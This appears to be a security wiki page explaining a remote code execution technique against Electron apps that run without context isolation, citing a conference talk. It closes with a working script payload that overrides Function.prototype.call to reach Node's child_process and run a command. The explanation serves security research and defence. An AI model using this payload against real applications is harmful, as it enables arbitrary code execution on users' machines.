# Electron contextIsolation RCE via Electron internal code

## Example 1

Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

```javascript
process.on('exit', function (){
    for (let p in cachedArchives) {
        if (!hasProp.call(cachedArchives, p)) continue
        cachedArchives[p].destroy()
    }
})
```

{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}

![](<../../../.gitbook/assets/image (664).png>)

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists

Then it goes here:

![](<../../../.gitbook/assets/image (647).png>)

Where "self" is Node's process object:

![](<../../../.gitbook/assets/image (652).png>)

The process object has a references to "require" function:

```
process.mainModule.require
```

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

```html
<script>
Function.prototype.call = function(process){
    process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
```